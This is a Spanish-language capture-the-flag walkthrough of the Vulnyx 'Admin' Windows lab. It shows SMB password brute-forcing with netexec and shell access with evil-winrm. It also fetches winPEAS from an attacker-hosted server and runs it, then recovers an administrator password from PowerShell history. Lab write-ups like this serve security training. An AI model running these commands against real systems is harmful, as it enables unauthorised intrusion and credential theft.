Admin Vulnyx (Easy - Windows)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 04:51 EDT
Nmap scan report for 192.168.5.68
Host is up (0.0059s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:B6:A0:0C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: ADMIN, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b6:a0:0c (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
|_clock-skew: -3s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-07-30T08:53:57
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.48 seconds
Veremos varios puertos interesantes, por lo que vamos a realizar un poco de fuzzing
para ver que encontramos.
Si entramos en el puerto 80
veremos una web normal y corriente, si intentamos enumerar el SAMBA
no veremos gran cosa, ya que no se podra enumerar de forma anonima, por lo que vamos a investigar mas por el puerto 80
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP> -w <WORDLIST> -x aspx,html,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.68
[+] Method: GET
[+] Threads: 100
[+] Wordlist: common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: aspx,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tasks.txt (Status: 200) [Size: 98]
Progress: 19000 / 19004 (99.98%)
===============================================================
Finished
===============================================================
Veremos un directorio interesante llamado tasks.txt
si entramos dentro veremos lo siguiente:
URL = http://<IP>/tasks.txt
Info:
Pending tasks:
- Finish website
- Update OS
- Drink coffee
- Rest
- Change password
By hope
Vemos un nombre de usuario llamado hope
, vamos a realizar fuerza bruta con netexec
de esta forma.
NetExec
Antes vamos a pasar el rockyou.txt
a UTF-8
para que no de ningun error.
iconv -f ISO-8859-1 -t UTF-8 /usr/share/wordlists/rockyou.txt -o rockyou-utf8.txt
Una vez echo esto, vamos a utilizarlo de esta forma.
netexec smb <IP> -u hope -p rockyou_utf8.txt
Info:
SMB 192.168.5.68 445 ADMIN [*] Windows 10 / Server 2019 Build 19041 x64 (name:ADMIN) (domain:ADMIN) (signing:False) (SMBv1:False)
...........................<RESTO_DE_INTENTOS>.....................................
SMB 192.168.5.68 445 ADMIN [+] ADMIN\hope:loser
Vemos que hemos encontrado unas credenciales, vamos a probarlas de esta forma.
netexec smb <IP> -u hope -p loser -x "id"
Info:
SMB 192.168.5.68 445 ADMIN [*] Windows 10 / Server 2019 Build 19041 x64 (name:ADMIN) (domain:ADMIN) (signing:False) (SMBv1:False)
SMB 192.168.5.68 445 ADMIN [+] ADMIN\hope:loser
Vemos que funciona perfectamente, por lo que vamos a realizar un poco de fuzzing
con dichas credenciales en el servidor SAMBA
.
smbclient -L //<IP>/ -U hope
Info:
Password for [WORKGROUP\hope]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Admin remota
C$ Disk Recurso predeterminado
IPC$ IPC IPC remota
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.5.68 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
No veremos ningun recurso compartido que se haya creado nuevo, por lo que no nos interesa ninguno.
Recordemos que tenemos el puerto 5985
(WinRM
) abierto, por lo que vamos a probar a conectarnos con la herramienta de evil-winrm
.
Escalate user hope
Evil-winrm
evil-winrm -i <IP> -u hope -p 'loser'
Info:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\hope\Documents> whoami
admin\hope
Veremos que hemos accedido de forma correcta, por lo que vamos a investigar un poco, pero antes leeremos la flag
del usuario.
user.txt
aacd4aebb5743ba45d3b4591ac03ace1
Escalate Privileges
Despues de buscar un rato y no encontrar gran cosa, vamos a utilizar un script automatizado llamado winPeasx64.exe
para poder enumerar el sistema completo a ver que vemos.
URL = Download winPeasx64.exe GitHub
Una vez que nos lo hayamos descargado en la maquina host
del kali
vamos abrir un servidor de python3
para pasarnoslo a la maquina victima.
python3 -m http.server 80
En la maquina victima haremos esto.
cd ../Desktop
Invoke-WebRequest -Uri http://<IP>/winPEASx64.exe -OutFile C:\Users\hope\Desktop\winPEASx64.exe
Una vez descargado, vamos a ejecutarlo de esta forma:
.\winPEASx64.exe
Info:
...............................<RESTO_DE_CODIGO>...................................
ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.19041.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\hope\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 234B
...............................<RESTO_DE_CODIGO>...................................
Veremos un archivo interesante, que si lo leemos veremos lo siguiente:
type C:\Users\hope\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Info:
Set-LocalUser -Name "administrator" -Password (ConvertTo-SecureString "SuperAdministrator123" -AsPlainText -Force)
Vemos que aparece la contraseña del administrador
en texto plano, vamos a ver si realmente funciona.
evil-winrm -i <IP> -u Administrator -p 'SuperAdministrator123'
Info:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
admin\administrator
Veremos que ha funcionado, por lo que vamos a leer la flag
de root
.
root.txt
fe586ba8f585e1ea97347be057659b81
Last updated